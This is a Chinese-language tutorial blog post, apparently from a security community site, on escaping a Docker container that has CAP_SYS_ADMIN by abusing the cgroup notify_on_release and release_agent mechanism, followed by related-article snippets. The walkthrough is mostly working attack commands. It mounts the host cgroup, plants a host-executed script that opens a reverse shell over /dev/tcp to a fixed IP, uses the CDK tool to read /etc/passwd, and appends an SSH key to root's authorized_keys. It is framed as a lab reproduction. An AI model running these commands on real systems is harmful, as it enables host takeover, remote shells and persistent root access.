CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

一颗小胡椒2023-06-25 13:55:00

 当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置

docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手动检测Capability

cat /proc/self/status | grep CapEffcapsh --decode=00000000a82425fb

利用notify-on-release进行容器逃逸

在容器内挂载宿主机cgroup的memory

#将cgroup进行挂载mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test#接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全mkdir /tmp/test/x

第二步就需要我们设置notify_on_release文件内容为1,设置release_agent文件的对应路径为宿主机的可写目录upperdir

echo 1 > /tmp/test/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/test/release_agent

其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:

echo '#!/bin/sh' > /cmdecho 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmdchmod a+x /cmd

清除cgroup.procs中的进程,触发release_agent执行cmd文件进行反弹shelll。该命令启动一个sh进程,将sh进程的PID写入到/tmp/test/x/cgroup.procs中。这里的\$\$表示sh进程的PID。在执行完sh -c后,sh进程会自动退出,这样Cgroup /tmp/test/x 中就不再包含任何任务,/tmp/test/release_agent文件里的shell将被操作系统执行。

sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"

也可以使用CDK来执行命令。CDK会劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

./cdk run mount-cgroup "cat /etc/passwd"

可以写入公钥文件,注意这里最后需要加个 |

./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "

但是还不能免密登录,由于等过这种方式写的公钥文件权限的原因,还需要之行如下命令进行权限修改。

./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"

testcgroup
本作品采用《CC 协议》,转载必须注明作者和本文链接
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括
恰巧近期有一枚和容器逃逸相关的漏洞:CVE-2022-0492 Linux内核权限提升漏洞可导致容器意外逃逸。
搭建 k8s docker 漏洞环境
安装Linux系统最小化,即选包最小化,yum安装软件包也要最小化,无用的包不装。开机自启动服务最小化,即无用的服务不开启。Linux系统文件及目录的权限设置最小化,禁止随意创建、更改、删除文件。在生产环境中,删除多余的账户信息。
最近在学习云原生相关的渗透知识,该系列文章记录学习过程,包括基础知识(主要是k8s的搭建使用以及一些概念等,docker基础使用操作不赘述。)、工具的使用、逃逸漏洞复现等。 服务器准备 腾讯云 云服务器,新建三台服务器(香港地区)。
目前Linux内核代码已经达到了2700万行量级[2],仅每年通报的Linux内核漏洞就多达数十个。Linux内核主要使用C语言编写,由于C语言不是类型安全语言,而且偏底层,所以各种内存破坏类漏洞层出不穷。攻击者利用内核漏洞可以达到本地提权的目的。容器技术本身依赖于Linux内核提供的Namespaces和Cgroups机制,利用内核漏洞,攻击者可以绕过Namespaces对资源的隔离,达到逃逸的
前言获取某个系统shell后发现其是docker,这时候我们就需要进行docker逃逸来拿到其真正宿主的权限
SOCIALNETWORK打靶记录
2023-05-29 09:14:26
对隐藏路径进行爬取和发现:打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作。通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。16个网段,存在65535个ip。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。使用账密进行ssh登录。
渗透测试Tips
2022-04-13 06:38:50
知己知彼,百战不殆1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
特权模式逃逸和挂载目录逃逸是最常见的逃逸手法。 特权模式逃逸,也就是熟知的--privileged选项启动后容器不受seccomp等机制的的限制,常见利用就是挂载根目录或利用docker.sock创建恶意容器。 而基于容器特权模式逃逸也分不同特权情况,本文总结常见特权模式下不同Capabilities常见对应的攻击手法。
一颗小胡椒
暂无描述